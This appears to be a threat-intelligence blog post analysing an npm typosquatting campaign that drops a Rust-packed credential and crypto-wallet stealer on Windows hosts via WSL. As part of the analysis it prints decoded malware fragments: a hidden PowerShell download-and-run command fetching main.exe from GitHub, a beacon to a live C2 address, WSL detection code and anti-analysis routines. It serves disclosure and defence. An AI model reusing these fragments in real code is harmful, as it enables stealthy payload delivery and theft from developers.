Voltar
Tabela de conteúdo
Vikas Kundu
A naturally curious mind driven by the need to understand how things work and how to make them better. Passionate about learning, experimenting, and exploring new ideas across technology and security.
Nenhum item encontrado.

Executive Summary

In August 2026 an operator published forty packages to the public npm registry, each a misspelling of one of the most-installed libraries in the ecosystem: chalk, axios, commander, lodash, react and typescript. Every package carried an install script. The npm packages have since been removed. The part of the campaign that matters was never on npm. The install script is a courier. It profiles the host, reports to a command-and-control server, and then asks one question: is this machine Windows, or a Windows Subsystem for Linux environment sitting on top of one. If the answer is yes, it decodes a hidden instruction and reaches across the boundary that normally separates a developer's Linux shell from the Windows host underneath it, downloading and running a native Windows executable that the npm package never contained.

That executable is a 22 megabyte Windows program written in Rust, hosted not on npm but as a release asset on GitHub. The npm packages are disposable and are gone; the GitHub payload was not. It outlived them by roughly 39 hours, and its download counter was observed rising from 119 at 01:50 UTC on 17 August to 173 by 18:49 UTC the same day, 54 pulls in under seventeen hours, after the packages that pointed at it had ceased to exist. It was removed only during this analysis: the entire bebraz1 account returned 404 within four hours of that last reading. The npm takedown, on its own, left the weapon in place. Almost none of those 22 megabytes are the program. The executable code is 265 kilobytes, roughly one per cent of the file. The other 98.6 per cent is a single unbroken run of 22,638,592 hexadecimal characters: an 11 megabyte encrypted payload written out as text and carried inside the binary. main.exe is a wrapper: it decodes that text back to bytes, decrypts it, and runs the result inside its own process. Nothing is written to disk and no second process is ever created, which is why an endpoint looking for a dropped file or an unusual child process sees neither.

CloudSEK detonated the executable in an isolated Windows environment. It fingerprints the victim's public IP address and then attempts to upload to gofile.io, an anonymous public file-sharing service. It does not beacon to attacker infrastructure to exfiltrate; it uses a legitimate service that cannot be taken down as though it were a criminal domain.  Capturing the guest's memory while the payload was still running recovered what the certificate validation was protecting: the unwrapped stage carries three target lists, already expanded for the victim's account, covering twenty-six desktop cryptocurrency wallet paths, the credential, cookie and history stores of Chromium-family browsers, and the session directory of Telegram Desktop. It carries paths for Brave installations that did not exist on the analysis machine, which is how a hardcoded target list announces itself, and it had already assembled a hardware profile of the machine and the multipart header of the upload. This is a cryptocurrency, browser-credential and messenger-session stealer.

Analysis

The campaign has two layers with opposite lifespans. The npm layer is loud, cheap and disposable: forty impersonation packages published to a public registry and withdrawn in since removed. The payload layer is quiet and durable: one Rust executable on GitHub and one exfiltration route through a public file host, neither of which the npm takedown affected. Reading the order of work makes the design legible, so the sections that follow trace the same path the malware does, from the install hook to the upload.

Figure 1. The full delivery chain, recovered end to end. Stages 1 to 3 run inside the npm install on a Linux or WSL host; stage 3 decodes the instruction that crosses onto the Windows host, where stages 4 to 6 run. The colour shift marks the boundary the campaign is built to cross.

Chronology

Date (UTC) Event
2026-06-20 The GitHub account bebraz1 is created. Its name and bio are both the literal string null.
2026-08-12 bebraz1 creates a first repository, 123.
2026-08-15 bebraz1 creates qPzM50V1AKG0rVlH and publishes the release asset main.exe under a release tag literally named null.
2026-08-16 All forty packages are published to npm between 02:48 and 02:56 UTC, after an operator test package at 02:28, and are unpublished the same day between 04:07 and 04:12 UTC — a live window of about 84 minutes.
2026-08-17 CloudSEK catalogues the campaign and detonates the payload. The GitHub asset is still live at 19:20 UTC; by 23:12 UTC the whole bebraz1 account returns 404.
2026-08-18 The C2 at 193.70.34.101:20099 is still answering. Registry probing recovers three further campaign packages.

Table 1. Timeline. The npm rows are from registry tombstones, which survive the unpublish and are precise to the second. The GitHub rows are from metadata captured before the account was removed and can no longer be re-derived from the source.

The ordering is the part worth dwelling on. The payload was on GitHub twenty-three hours before the first npm package was published — the release went up at 03:19 UTC on 15 August, the first package at 02:28 UTC on 16 August — on infrastructure that does not answer to npm. The couriers then lasted 84 minutes; the payload outlived them by roughly 39 hours. We read that sequencing as deliberate staging, though the ordering is the evidence and the intent is our reading of it.

Malware Analysis

Each step below was recovered from the packages and the payload directly. The npm packages are removed from the registry, so their contents were read from CloudSEK's archived copies; the payload was read and executed from a hash-verified sample. The order is the order of execution.

Stage 1: the courier

Most packages are a single-character or transposition misspelling of a popular library; a minority spell the library correctly and append a plausible sub-package suffix, which is namespace-squatting rather than typosquatting. One is neither. All were published at version 1.0.0 with an install hook. The names cluster into six families by the library they imitate, listed in full in Appendix A. Installing any of them runs scripts/postinstall.js automatically.

Stage 2: the install beacon

The install script reports to a hardcoded command-and-control server. The destination is not written as a string; it is assembled from an array at runtime, so a scanner grepping the package for an IP address finds nothing. What it sends is less than it collects, and the difference is worth stating precisely: the script builds a fuller host profile — Node version, architecture, platform — and then discards it. The request body carries a single coarse label.

const TELEMETRY = {
  host: ['193', '70', '34', '101'].join('.'),   // = 193.70.34.101 (OVH)
  port: 20099,
  path: '/vote',
  get addon () { return unpackSegment(ADDON_ENC, ADDON_KEY) }
}


collectEnvSnapshot()  -> { node, arch, platform }   // computed, then DISCARDED
sendInstallMetrics(profile.label)
  -> POST /vote   body: JSON.stringify({ platform: label })
     label is one of  'Windows' | 'MacOS' | 'Linux'

Figure 2. The beacon, from scripts/postinstall.js. The C2 address is built from its octets to defeat string matching. Only a coarse operating-system label is transmitted; the richer profile the script assembles never leaves the machine. The beacon is a census, not a reconnaissance channel.

Stage 3: the WSL gate

Before deploying anything to Windows, the script confirms it is somewhere it can reach a Windows host. It treats a native win32 platform as eligible, and it treats a Linux environment as eligible only if that Linux is Windows Subsystem for Linux, which it detects three ways: the environment variables first, then two files under /proc.

function isVirtualizedLinux () {
  if (process.platform !== 'linux') return false
  if (process.env.WSL_DISTRO_NAME || process.env.WSLENV) return true
  const procVersion = fs.readFileSync('/proc/version', 'utf8')
  if (/microsoft/i.test(procVersion)) return true
  const osRelease = fs.readFileSync('/proc/sys/kernel/osrelease', 'utf8')
  if (/microsoft/i.test(osRelease) || /WSL/i.test(osRelease)) return true
  return false
}

Figure 3. The WSL detection, from scripts/postinstall.js. A developer running npm install inside WSL is treated as a route onto the Windows machine underneath.

Windows Subsystem for Linux runs a real Linux environment on top of a Windows host, sharing the same disk and the same user. A program inside WSL can invoke Windows executables directly.

It is a door between two rooms that most developers think of as separate: the Linux shell where they run npm, and the Windows desktop where they keep their browser, their credentials and their wallet. The door is normally a convenience.

This campaign uses it as an attack path. An npm package, which a developer expects to affect only their project, reaches through the door and runs a native program on the Windows side, where the things worth stealing actually are.

Stage 4: crossing the boundary

When the gate passes, the script decodes four byte arrays with a repeating-key XOR (the key is the string stf2026) and assembles a download-and-run command. Decoding them recovers the payload URL and a hidden PowerShell bridge in full.

// XOR key: 'stf2026'   byte ^ key.charCodeAt(i % key.length)


ADDON_ENC          -> https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/
                        download/null/main.exe


BRIDGE_LAUNCHER    -> powershell.exe -WindowStyle Hidden -NoProfile
                        -NonInteractive -ExecutionPolicy Bypass -Command "
BRIDGE_SCRIPT_PRE  -> $p = Join-Path $env:TEMP 'main.exe';
                        Invoke-WebRequest -Uri '<url above>'
BRIDGE_SCRIPT_POST -> ' -OutFile $p -UseBasicParsing;
                        Start-Process -FilePath $p -WindowStyle Hidden

Figure 4. The decoded delivery, XOR key stf2026. The payload is downloaded to %TEMP%\main.exe and started with no visible window, executed on the Windows host from the WSL install.

Two choices in that command are worth naming. The download and the execution both run windowless, so nothing appears on the victim's screen. And the whole instruction was carried as encoded bytes inside the npm package, so neither the URL nor the PowerShell was visible to anyone reading the package as text.

The PowerShell bridge is only half the delivery, and defenders should know which half they are looking at. It is the WSL path: the script marks a host as needing the bridge only when the Linux it is running on turns out to be WSL. On a native Windows host there is no PowerShell at all. The install script decodes just the payload URL, downloads it with Node's own HTTPS client, and starts it itself.

native win32 branch  —  no shell, no PowerShell, no command line


installNativeAddon()
  url  = unpackSegment(ADDON_ENC, ADDON_KEY)      // only this one array is decoded
  dest = path.join(process.env.TEMP, 'main.exe')
  https.get(url, ...)                             // Node's own client, not curl/IWR
  spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true })

Figure 4b. The other branch. A detection rule keyed on an install hook spawning powershell.exe sees the WSL victims and misses the native-Windows ones entirely, because on that path the Node process performs the download and the launch by itself.

Stage 5: the payload, statically

main.exe is a 22 megabyte Windows executable written in Rust. It is hash-identical to the live GitHub asset. The obvious explanation for its size, that Rust links its runtime statically, is wrong, and noticing that it is wrong is what opens the rest of the analysis.

file    PE32+ executable (GUI) x86-64, 10 sections, for MS Windows
sha256  6f088ade49456db2422c3edfbb9998f4a3e9cce7c4c00a7279fb45d672a82b7d
size    22,969,344 bytes
build   Rust, target x86_64-pc-windows-gnu (msvcrt/ntdll imports; .CRT/.idata sections)
rustc   commit 8bab26f4f68e0e26f0bb7960be334d5b520ea452
imports KERNEL32, msvcrt, ntdll, api-ms-win-core-synch  (minimal)


section sizes:
  .text     265,728 bytes    entropy 6.33     <- the entire program
  .rdata 22,673,408 bytes    entropy 4.02     <- 98.7% of the file
  all others combined      29,184 bytes


anti-analysis:
  PE TimeDateStamp zeroed to 0        (defeats build-time timeline analysis)
  GUI subsystem                       (runs with no console window)
  no endpoints or target paths in cleartext anywhere in the file

Figure 5. Static facts for main.exe. A 265 kilobyte program is carrying a 22 megabyte read-only data section, and that ratio is the anomaly worth pulling on.

An entropy figure of 4.02 across 22 megabytes is the tell. Compressed or encrypted data measures near 8.0 and ordinary program data varies; a section that holds a flat 4.00 for twenty consecutive megabytes is neither. A byte census explains it: the section uses sixteen distinct characters, each at almost exactly 6.25 per cent. Sixteen equally likely symbols carry exactly four bits each, so the entropy is 4.00 by construction. The characters are 0-9 and a-f.

.rdata byte census (22,673,408 bytes)
  printable ASCII  99.9%      NUL 0.0%      bytes >= 0x80  0.0%
  most common:  'a' 6.3%   '3' 6.3%   '8' 6.2%   'f' 6.2%   'd' 6.2%
                '2' 6.2%   '0' 6.2%   'e' 6.2%   ... sixteen symbols, ~6.25% each
  entropy per megabyte:  4.00, 4.00, 4.00, 4.00 ... for 20 consecutive megabytes


one contiguous hexadecimal run of 22,638,592 characters begins at file offset 0x43e4c:
  52c11f246309cce5556a00408bafb9868622114903dbd8128dc4ce3eca2df27a ...

Figure 6. The read-only data section is not data the compiler put there. It is one enormous hexadecimal string, which is a payload written out as text.

Stage 6: what the wrapper carries

Decoding those characters back to bytes yields 11,319,296 bytes with an entropy of 8.000, the flat maximum. That is encrypted or compressed data and not a program that can be read directly. The wrapper's own code confirms both the size and the method: it allocates exactly that many bytes before it starts decoding, and the decode loop reads the section two characters at a time.

0x140001b60   mov   ecx, 0xacb800            ; 11,319,296 - the exact decoded size
0x140001b65   call  0x14000fe20              ; allocate that buffer
0x140001b90   lea   rbx, [rip + 0x436b5]     ; -> the hexadecimal run
0x140001b9a   mov   cl, [rbx + r14*2]        ; first character of the pair
0x140001b9e   lea   ebp, [rcx - 0x30]        ; '0'-'9'
0x140001baf   add   cl, 0xa9                 ; 'a'-'f'
0x140001bb9   add   cl, 0xc9                 ; 'A'-'F'
0x140001bc5   mov   cl, [rbx + r14*2 + 1]    ; second character of the pair
0x140001bff   shl   bpl, 4                   ; high nibble
0x140001c03   add   r15b, bpl                ; combine into one byte
0x140001c06   mov   [rax + r14], r15b        ; store
0x140001c15   cmp   r14, 0xacb800            ; until the whole payload is decoded


decoded blob:  11,319,296 bytes   entropy 8.000   (encrypted, not a plain executable)
sha256         6888d4c54ef2b5bf23889f9637c2efe77e1d2af4724d315b73d646cf5547dc73

Figure 7. The unpacking routine, recovered from the wrapper's code. The constant 0xACB800 recurs through this function — sizing the buffer, setting the vector length, ending the loop — and nine times across the code section in all.

The cipher identifies itself twice over. Near the start of the data section, about eight kilobytes ahead of the hexadecimal run, sits the full sixty-four-entry SHA-256 round-constant table, and immediately above it a sixteen-byte constant two characters away from the ChaCha20 initialisation string. The difference is not a typo: it preserves the length exactly, deleting the n from expand and inserting a 2 before the 32.

0x140043060   65 78 70 61 64 20 32 33 32 2d 62 79 74 65 20 6b   |expad 232-byte k|
              the algorithm specifies                            'expand 32-byte k'


0x140043070   98 2f 8a 42 91 44 37 71 cf fb c0 b5 a5 db b5 e9   SHA-256 round constants
              (0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5 ... little-endian)


key material loaded by the unpacking routine:
  0x140001c45   32 bytes from .rdata+0x00   b037c12805cbc47ea1247ec2c9e16494
                                            ed61c1982cbd45be3f01ddd9353f026c
  0x140001c7e   32 bytes from .rdata+0x20   8b604d8e2079d2375b2888e44ac492dd
                                            5b3f19d74777d91fed30e175df27fa44
  0x140001c62   12 bytes as immediates      f7d0038f50e382710a33c52e

Figure 8. The cipher constants. Altering the initialisation string costs the author nothing, because the wrapper only ever talks to itself, and it breaks every detection rule written against the standard value.

Reconstructing the decryption from those parameters alone did not reproduce the payload. Neither constant, in either key position, with the twelve-byte value as a nonce, at either counter start, and neither in the extended-nonce variant, produced anything but noise, so the exact construction is not claimed here. It did not need to be solved: the wrapper performs the decryption itself, and the analysis simply had to be present when it did.

One more routine runs before any of this. The wrapper spins a 552,054-iteration loop of arithmetic whose result it never uses, times how long that took, and if it finished in nine milliseconds or less it sleeps for half a second before continuing. A loop that computes nothing exists to consume time, and timing it exists to notice an environment that is not spending real time on it.

0x140001abb   mov   ebx, 0x1cb6              ; seed
0x140001ac3   call  0x140032c60              ; read the clock
0x140001aeb   rol   rbx, 3                   ; junk arithmetic, result discarded
0x140001aef   add   rbx, r14
0x140001b08   cmp   r14, 0x86c76             ; 552,054 iterations
0x140001b16   call  0x140032df0              ; read the clock again
0x140001b3b   mov   r8d, 9                   ; compare elapsed against 9 ms
0x140001b4b   mov   edx, 0x1dcd6500          ; 500,000,000 ns
0x140001b50   call  0x140040000              ; ... and sleep half a second

Figure 9. The stall. It delays execution and measures the delay, which is how a sample checks whether it is being run somewhere that hurries it along.

Finally, the wrapper tells you what it intends to produce. Three fragments sit together in the data section: a filename stem, an extension, and a complete .NET application configuration file. A .exe.config is only meaningful next to a real executable on disk, and this one names the runtime that executable needs.

ez_run_    .exe    exe.config<?xml version="1.0" encoding="utf-8" ?><configuration>
  <startup useLegacyV2RuntimeActivationPolicy="true">
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
    <supportedRuntime version="v4.0"/>
    <supportedRuntime version="v2.0.50727"/>
  </startup></configuration>


[LOG] Payload unpacking and decryption completed in 


cmd.exe /e:ON /v:OFF /d /c "

Figure 10. The wrapper's own strings, as they appear in the file: a filename stem, an extension, and a complete .NET application configuration that asks for Framework 4.8 and falls back through v4.0 to CLR v2.0.50727. They describe a drop-and-run path — write ez_run_<name>.exe with a matching configuration beside it — that this build never took under observation: across repeated executions no such file appeared and no .NET runtime was ever loaded. The strings are best read as the packer's general capability rather than as this sample's behaviour. The log line is real; the wrapper does time its own unpacking.

RESULT: main.exe is a delivery wrapper. Its cargo is carried as hexadecimal text, encrypted under a deliberately non-standard cipher constant, decoded and decrypted at runtime, and executed without ever being written to disk.

Stage 7: the payload, dynamically

Because nothing useful is readable in the file, the payload's behaviour was established by executing it in an isolated Windows environment with no route to the internet, where a synthetic network answered its requests convincingly and recorded them.

The payload fires almost immediately and is finished in well under a minute. Sampling the process list once a second across a run gives the shape of it: the process appears, its working set jumps from 2.6 megabytes to 52 megabytes in about a second as the wrapper decodes and decrypts eleven megabytes in memory, it holds there while it works, and then it is gone.

Figure 11. The payload running in the analysis guest. The loop samples the process list about every three seconds — tasklist is not free on a two-core guest — so these seven lines span roughly twenty-three seconds. The jump from 2,608 K to 52,112 K between the first and second samples is the unpacking: the hexadecimal text being turned back into an eleven megabyte executable in memory.

Against the clock, the sequence is tight. The launch instant is recorded inside the guest, by the harness script that starts the sample and writes its own timestamp; the two network requests are recorded host-side by the synthetic network. Measuring one against the other gives the reconnaissance call at 18.9 and 20.0 seconds after launch in the two runs where both records survive, and the upload attempt 0.18 seconds after that.

Blogs relacionados